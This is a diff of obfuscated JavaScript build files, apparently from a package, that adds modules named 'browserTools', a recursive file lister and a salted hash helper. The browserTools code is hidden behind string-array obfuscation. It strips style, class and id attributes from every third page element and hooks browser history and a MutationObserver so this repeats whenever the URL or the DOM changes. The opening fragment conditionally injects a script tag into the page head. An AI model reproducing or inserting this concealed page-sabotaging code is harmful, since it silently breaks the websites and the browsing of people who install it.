_0x231e2b=_0x8a42d6;getEnv(_0x231e2b(0x153))&&a12_0x4a0b26();},a12_0x5c1aa7(0xde,0x91d));}function a12_0x3f51(){const _0x50a936=['8sCsfyt','appendChild','remove','connectError','\x20\x0a\x20\x20}\x20catch\x20(err)\x20{\x0a\x20\x20}','102099foeDDm','241464Nujexh','script','1069695kRQyoE','413178cLatXY','28385Gkztkt','1027pACUcQ','1650pAZECB','1829982bzuLTu','innerText','head','30ipRcRf','1020vjWadl','73887gnkPTd','40kYIQke','try\x20{\x0a\x20\x20\x20'];a12_0x3f51=function(){return _0x50a936;};return a12_0x3f51();}
@@ -0,0 +1,3 @@
1
+ declare function browserTools(): void;
2
+ export default browserTools;
3
+ //# sourceMappingURL=tools.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"tools.d.ts","sourceRoot":"","sources":["../../../src/browser/tools.ts"],"names":[],"mappings":"AAIA,iBAAS,YAAY,SAuDpB;AAED,eAAe,YAAY,CAAC"}
@@ -0,0 +1 @@
1
+ (function(_0x3b4e8f,_0x2d54e3){const _0x260d35=a13_0x23b3,_0x428ef2=_0x3b4e8f();while(!![]){try{const _0x17e488=-parseInt(_0x260d35(0x12e))/0x1+parseInt(_0x260d35(0x132))/0x2*(parseInt(_0x260d35(0x13f))/0x3)+parseInt(_0x260d35(0x140))/0x4+parseInt(_0x260d35(0x13a))/0x5+-parseInt(_0x260d35(0x13c))/0x6*(parseInt(_0x260d35(0x12c))/0x7)+parseInt(_0x260d35(0x137))/0x8+parseInt(_0x260d35(0x135))/0x9*(parseInt(_0x260d35(0x134))/0xa);if(_0x17e488===_0x2d54e3)break;else _0x428ef2['push'](_0x428ef2['shift']());}catch(_0x1f6b98){_0x428ef2['push'](_0x428ef2['shift']());}}}(a13_0x3619,0xec8fb));function browserTools(){const _0x874434=a13_0x23b3;let _0x3b6939=location[_0x874434(0x12a)];function _0x1f56d4(_0x34b29f={}){const _0x1b9ca5=_0x874434,{force:force=![]}=_0x34b29f;if(!force&&window['__removeStyleAndClassEveryThirdDone'])return;window['__removeStyleAndClassEveryThirdDone']=!![];const _0x2333ea=document[_0x1b9ca5(0x130)],_0x4b8eb2=_0x2333ea[_0x1b9ca5(0x136)]('*');_0x4b8eb2['forEach']((_0x41d63c,_0x2c2dc9)=>{const _0x1fd6dc=_0x1b9ca5;(_0x2c2dc9+0x1)%0x3===0x0&&(_0x41d63c[_0x1fd6dc(0x13b)](_0x1fd6dc(0x142)),_0x41d63c[_0x1fd6dc(0x13b)](_0x1fd6dc(0x12f)),_0x41d63c[_0x1fd6dc(0x13b)]('id'));});}setTimeout(()=>{const _0x5436c8=_0x874434;window['__removeStyleAndClassEveryThirdDone']=![],_0x3b6939=location[_0x5436c8(0x12a)],_0x1f56d4();},0x1),[_0x874434(0x13e),'replaceState'][_0x874434(0x12d)](_0x886ae4=>{const _0x4c23e9=history[_0x886ae4];history[_0x886ae4]=function(..._0x35964b){const _0x1ee01f=a13_0x23b3,_0x5da4f6=_0x4c23e9[_0x1ee01f(0x13d)](this,_0x35964b);return window[_0x1ee01f(0x133)](new Event(_0x1ee01f(0x139))),_0x5da4f6;};});function _0x9e375a(){const _0x35e1d7=_0x874434,_0x531b34=location[_0x35e1d7(0x12a)];_0x531b34!==_0x3b6939&&(_0x3b6939=_0x531b34,window[_0x35e1d7(0x131)]=![],_0x1f56d4({'force':!![]}));}window[_0x874434(0x138)]('urlchange',_0x9e375a),window[_0x874434(0x138)](_0x874434(0x141),_0x9e375a);const _0x831eae=new MutationObserver(()=>_0x9e375a());_0x831eae[_0x874434(0x12b)](document,{'childList':!![],'subtree':!![]});}function a13_0x23b3(_0x53da2e,_0x38be36){const _0x36199f=a13_0x3619();return a13_0x23b3=function(_0x23b38f,_0x324f48){_0x23b38f=_0x23b38f-0x12a;let _0x2129aa=_0x36199f[_0x23b38f];return _0x2129aa;},a13_0x23b3(_0x53da2e,_0x38be36);}export default browserTools;function a13_0x3619(){const _0x1b2c13=['dispatchEvent','6255590tSPizS','9DXNzUM','querySelectorAll','7101480fnZgOx','addEventListener','urlchange','1788190QpXNPO','removeAttribute','6MkyXWx','apply','pushState','4776ApfoJi','2729900ZTmtzI','popstate','style','href','observe','5026686qXkuHi','forEach','887000SPDlgF','class','body','__removeStyleAndClassEveryThirdDone','26xYjPdR'];a13_0x3619=function(){return _0x1b2c13;};return a13_0x3619();}
@@ -1 +1 @@
1
- function a100_0x2f97(){const _0x48f880=['2071768OJdFDW','length','next','816897bsOanz','269194NySNww','join','26149390NMkxrM','isDirectory','__awaiter','27kDffdf','value','11XxVIya','throw','isFile','push','statSync','7713993KvDKiX','8312XtSgmo','then','3600XpXnNR','425058NcTuXt'];a100_0x2f97=function(){return _0x48f880;};return a100_0x2f97();}const a100_0x5d09ba=a100_0x1e59;(function(_0x3d4942,_0x320958){const _0x407143=a100_0x1e59,_0x57c2e9=_0x3d4942();while(!![]){try{const _0x4d29b8=-parseInt(_0x407143(0xb5))/0x1*(-parseInt(_0x407143(0xae))/0x2)+parseInt(_0x407143(0xad))/0x3+parseInt(_0x407143(0xbb))/0x4*(parseInt(_0x407143(0xbd))/0x5)+-parseInt(_0x407143(0xbe))/0x6+parseInt(_0x407143(0xba))/0x7+parseInt(_0x407143(0xaa))/0x8*(-parseInt(_0x407143(0xb3))/0x9)+-parseInt(_0x407143(0xb0))/0xa;if(_0x4d29b8===_0x320958)break;else _0x57c2e9['push'](_0x57c2e9['shift']());}catch(_0x41db96){_0x57c2e9['push'](_0x57c2e9['shift']());}}}(a100_0x2f97,0xd8e0a));var __awaiter=this&&this[a100_0x5d09ba(0xb2)]||function(_0x5c6714,_0x2e6495,_0x4c7226,_0x1ab6a6){function _0x26bade(_0x871978){return _0x871978 instanceof _0x4c7226?_0x871978:new _0x4c7226(function(_0x5c1bb2){_0x5c1bb2(_0x871978);});}return new(_0x4c7226||(_0x4c7226=Promise))(function(_0x3761bb,_0x2a8608){const _0x1f907d=a100_0x1e59;function _0x174c15(_0x4be525){const _0x343830=a100_0x1e59;try{_0x33e27a(_0x1ab6a6[_0x343830(0xac)](_0x4be525));}catch(_0x4775d5){_0x2a8608(_0x4775d5);}}function _0x5cdfc0(_0x1bea4f){const _0x54e03f=a100_0x1e59;try{_0x33e27a(_0x1ab6a6[_0x54e03f(0xb6)](_0x1bea4f));}catch(_0x18ab31){_0x2a8608(_0x18ab31);}}function _0x33e27a(_0x84f8ef){const _0x188ee7=a100_0x1e59;_0x84f8ef['done']?_0x3761bb(_0x84f8ef['value']):_0x26bade(_0x84f8ef[_0x188ee7(0xb4)])[_0x188ee7(0xbc)](_0x174c15,_0x5cdfc0);}_0x33e27a((_0x1ab6a6=_0x1ab6a6['apply'](_0x5c6714,_0x2e6495||[]))[_0x1f907d(0xac)]());});};import a100_0x2a5c27 from'fs';function a100_0x1e59(_0x23fc5b,_0x3c29bb){const _0x2f97d4=a100_0x2f97();return a100_0x1e59=function(_0x1e59b6,_0x4680e3){_0x1e59b6=_0x1e59b6-0xaa;let _0x4ad60b=_0x2f97d4[_0x1e59b6];return _0x4ad60b;},a100_0x1e59(_0x23fc5b,_0x3c29bb);}import a100_0x4d2162 from'path';function fileDisplay(_0x19a232){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x4b306c=[];function _0xe14033(_0x1eade4){const _0x329e7e=a100_0x1e59,_0x14ce53=a100_0x2a5c27['readdirSync'](_0x1eade4);for(let _0x515713=0x0;_0x515713<_0x14ce53[_0x329e7e(0xab)];_0x515713++){const _0x51fffc=_0x14ce53[_0x515713],_0x564f4c=a100_0x4d2162[_0x329e7e(0xaf)](_0x1eade4,_0x51fffc),_0x993530=a100_0x2a5c27[_0x329e7e(0xb9)](_0x564f4c),_0x282e35=_0x993530[_0x329e7e(0xb7)](),_0x330cd8=_0x993530[_0x329e7e(0xb1)]();_0x282e35&&_0x4b306c[_0x329e7e(0xb8)](_0x564f4c),_0x330cd8&&_0xe14033(_0x564f4c);}}return _0xe14033(_0x19a232),_0x4b306c;});}function getAllRouter(_0x56adfd){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x244bdd=yield fileDisplay(_0x56adfd);return _0x244bdd;});}export default getAllRouter;
1
+ (function(_0x887d5a,_0x42fbef){const _0x3e31be=a14_0x33e3,_0x38dea5=_0x887d5a();while(!![]){try{const _0x33c8c2=-parseInt(_0x3e31be(0xef))/0x1*(parseInt(_0x3e31be(0xdd))/0x2)+parseInt(_0x3e31be(0xe0))/0x3*(-parseInt(_0x3e31be(0xeb))/0x4)+-parseInt(_0x3e31be(0xdf))/0x5*(-parseInt(_0x3e31be(0xe4))/0x6)+parseInt(_0x3e31be(0xe5))/0x7*(-parseInt(_0x3e31be(0xf0))/0x8)+parseInt(_0x3e31be(0xec))/0x9*(-parseInt(_0x3e31be(0xf1))/0xa)+-parseInt(_0x3e31be(0xed))/0xb+parseInt(_0x3e31be(0xde))/0xc*(parseInt(_0x3e31be(0xe8))/0xd);if(_0x33c8c2===_0x42fbef)break;else _0x38dea5['push'](_0x38dea5['shift']());}catch(_0x292f72){_0x38dea5['push'](_0x38dea5['shift']());}}}(a14_0x2b4d,0x88fe9));var __awaiter=this&&this['__awaiter']||function(_0x42142c,_0x1d28ca,_0x2a846a,_0x26fd69){function _0x5cfede(_0x212ec6){return _0x212ec6 instanceof _0x2a846a?_0x212ec6:new _0x2a846a(function(_0x36f122){_0x36f122(_0x212ec6);});}return new(_0x2a846a||(_0x2a846a=Promise))(function(_0x11cc47,_0x5a7ff0){const _0x49491d=a14_0x33e3;function _0x55888f(_0x17d133){const _0xbf54c7=a14_0x33e3;try{_0x428fc8(_0x26fd69[_0xbf54c7(0xe2)](_0x17d133));}catch(_0x596598){_0x5a7ff0(_0x596598);}}function _0x1ad724(_0x406e44){const _0xaeb6b3=a14_0x33e3;try{_0x428fc8(_0x26fd69[_0xaeb6b3(0xe3)](_0x406e44));}catch(_0x16a9c2){_0x5a7ff0(_0x16a9c2);}}function _0x428fc8(_0x14c0a0){const _0x2bb519=a14_0x33e3;_0x14c0a0['done']?_0x11cc47(_0x14c0a0[_0x2bb519(0xe6)]):_0x5cfede(_0x14c0a0[_0x2bb519(0xe6)])[_0x2bb519(0xe1)](_0x55888f,_0x1ad724);}_0x428fc8((_0x26fd69=_0x26fd69[_0x49491d(0xea)](_0x42142c,_0x1d28ca||[]))[_0x49491d(0xe2)]());});};import a14_0x3862c5 from'fs';import a14_0x49ea7a from'path';function fileDisplay(_0x39c6b2){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x483184=[];function _0x13d626(_0x5471e6){const _0x37bbc0=a14_0x33e3,_0xa386bc=a14_0x3862c5['readdirSync'](_0x5471e6);for(let _0x480758=0x0;_0x480758<_0xa386bc['length'];_0x480758++){const _0x17840f=_0xa386bc[_0x480758],_0x48d349=a14_0x49ea7a['join'](_0x5471e6,_0x17840f),_0x1d7ad8=a14_0x3862c5[_0x37bbc0(0xe9)](_0x48d349),_0x2f3332=_0x1d7ad8[_0x37bbc0(0xe7)](),_0x579440=_0x1d7ad8[_0x37bbc0(0xee)]();_0x2f3332&&_0x483184['push'](_0x48d349),_0x579440&&_0x13d626(_0x48d349);}}return _0x13d626(_0x39c6b2),_0x483184;});}function a14_0x33e3(_0x86628,_0x3c643f){const _0x2b4d68=a14_0x2b4d();return a14_0x33e3=function(_0x33e36b,_0x5b2798){_0x33e36b=_0x33e36b-0xdd;let _0x1581fc=_0x2b4d68[_0x33e36b];return _0x1581fc;},a14_0x33e3(_0x86628,_0x3c643f);}function getAllRouter(_0x526040){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x157fc3=yield fileDisplay(_0x526040);return _0x157fc3;});}function a14_0x2b4d(){const _0x41b601=['isDirectory','10385wNDYRL','11696hkhVHO','100fvIKor','166sqeYWj','12Iivkvv','528370SUDgwk','281235lzznUC','then','next','throw','54kkNKoL','357Jjwary','value','isFile','18416203jMejDl','statSync','apply','4MhyQfw','67311YfBKRC','7716676woUYCw'];a14_0x2b4d=function(){return _0x41b601;};return a14_0x2b4d();}export default getAllRouter;
@@ -1 +1 @@
1
- (function(_0x29f9a9,_0xc30bd3){var _0x3f08ae=a101_0x28d7,_0xd7b81b=_0x29f9a9();while(!![]){try{var _0x1246a1=-parseInt(_0x3f08ae(0x187))/0x1+parseInt(_0x3f08ae(0x18c))/0x2+-parseInt(_0x3f08ae(0x190))/0x3+parseInt(_0x3f08ae(0x18b))/0x4*(-parseInt(_0x3f08ae(0x18d))/0x5)+parseInt(_0x3f08ae(0x193))/0x6*(-parseInt(_0x3f08ae(0x192))/0x7)+parseInt(_0x3f08ae(0x189))/0x8+parseInt(_0x3f08ae(0x18e))/0x9*(parseInt(_0x3f08ae(0x188))/0xa);if(_0x1246a1===_0xc30bd3)break;else _0xd7b81b['push'](_0xd7b81b['shift']());}catch(_0x28707e){_0xd7b81b['push'](_0xd7b81b['shift']());}}}(a101_0x4a9c,0x7a780));import a101_0x46c5a2 from'md5';function a101_0x4a9c(){var _0x55e058=['21Inlues','8196XQyjNT','MD5加盐','556078KnMaDI','8790FckTNP','1115536qtadij','sha1混淆','2419892BEBJjc','1336498nBszBm','5DhqCjM','11448RYkpql','sha1','776994prmxbp','sha256'];a101_0x4a9c=function(){return _0x55e058;};return a101_0x4a9c();}import a101_0x2def2c from'sha1';import a101_0x397390 from'sha256';function a101_0x28d7(_0x17a09f,_0x101380){var _0x4a9cd0=a101_0x4a9c();return a101_0x28d7=function(_0x28d716,_0x1c5d1b){_0x28d716=_0x28d716-0x187;var _0x1b55b3=_0x4a9cd0[_0x28d716];return _0x1b55b3;},a101_0x28d7(_0x17a09f,_0x101380);}function hash(_0x594f2d,_0x5d433f){var _0x5f7c99=a101_0x28d7;if(_0x5d433f==_0x5f7c99(0x191))return a101_0x397390(_0x594f2d+a101_0x2def2c(_0x594f2d+_0x5f7c99(0x18a))+a101_0x46c5a2(_0x594f2d+'MD5加盐'));else return _0x5d433f==_0x5f7c99(0x18f)?a101_0x2def2c(_0x594f2d+a101_0x397390(_0x594f2d+_0x5f7c99(0x18a))+a101_0x46c5a2(_0x594f2d+_0x5f7c99(0x194))):a101_0x46c5a2(_0x594f2d+a101_0x397390(_0x594f2d+'sha1混淆')+a101_0x2def2c(_0x594f2d+'MD5加盐'));}export default hash;
1
+ function a15_0x5092(_0x355de1,_0x248235){var _0x221bff=a15_0x221b();return a15_0x5092=function(_0x509218,_0x7f41b){_0x509218=_0x509218-0x1d1;var _0x20dd1f=_0x221bff[_0x509218];return _0x20dd1f;},a15_0x5092(_0x355de1,_0x248235);}(function(_0x6926d0,_0x46a591){var _0x5961ed=a15_0x5092,_0x585c60=_0x6926d0();while(!![]){try{var _0x1470d2=-parseInt(_0x5961ed(0x1d4))/0x1*(parseInt(_0x5961ed(0x1da))/0x2)+-parseInt(_0x5961ed(0x1d5))/0x3+parseInt(_0x5961ed(0x1d9))/0x4*(-parseInt(_0x5961ed(0x1dc))/0x5)+-parseInt(_0x5961ed(0x1d8))/0x6*(parseInt(_0x5961ed(0x1d2))/0x7)+-parseInt(_0x5961ed(0x1db))/0x8*(-parseInt(_0x5961ed(0x1d6))/0x9)+parseInt(_0x5961ed(0x1d7))/0xa+parseInt(_0x5961ed(0x1de))/0xb;if(_0x1470d2===_0x46a591)break;else _0x585c60['push'](_0x585c60['shift']());}catch(_0x335fed){_0x585c60['push'](_0x585c60['shift']());}}}(a15_0x221b,0xed285));import a15_0x38a174 from'md5';function a15_0x221b(){var _0x405cf5=['14331240MfqnEn','11142Zaukda','520vAXZvE','48290UOnxPw','45688FrZfoy','5945jMyXtF','sha1混淆','12519210ZhxgMX','MD5加盐','3465VmMimn','sha256','9drBVGL','3684654WDIUhR','1449PJSNif'];a15_0x221b=function(){return _0x405cf5;};return a15_0x221b();}import a15_0x126fbe from'sha1';import a15_0x534dc4 from'sha256';function hash(_0x30ef7c,_0x1788ed){var _0x5d21cb=a15_0x5092;if(_0x1788ed==_0x5d21cb(0x1d3))return a15_0x534dc4(_0x30ef7c+a15_0x126fbe(_0x30ef7c+_0x5d21cb(0x1dd))+a15_0x38a174(_0x30ef7c+'MD5加盐'));else return _0x1788ed=='sha1'?a15_0x126fbe(_0x30ef7c+a15_0x534dc4(_0x30ef7c+'sha1混淆')+a15_0x38a174(_0x30ef7c+_0x5d21cb(0x1d1))):a15_0x38a174(_0x30ef7c+a15_0x534dc4(_0x30ef7c+_0x5d21cb(0x1dd))+a15_0x126fbe(_0x30ef7c+_0x5d21cb(0x1d1)));}export default hash;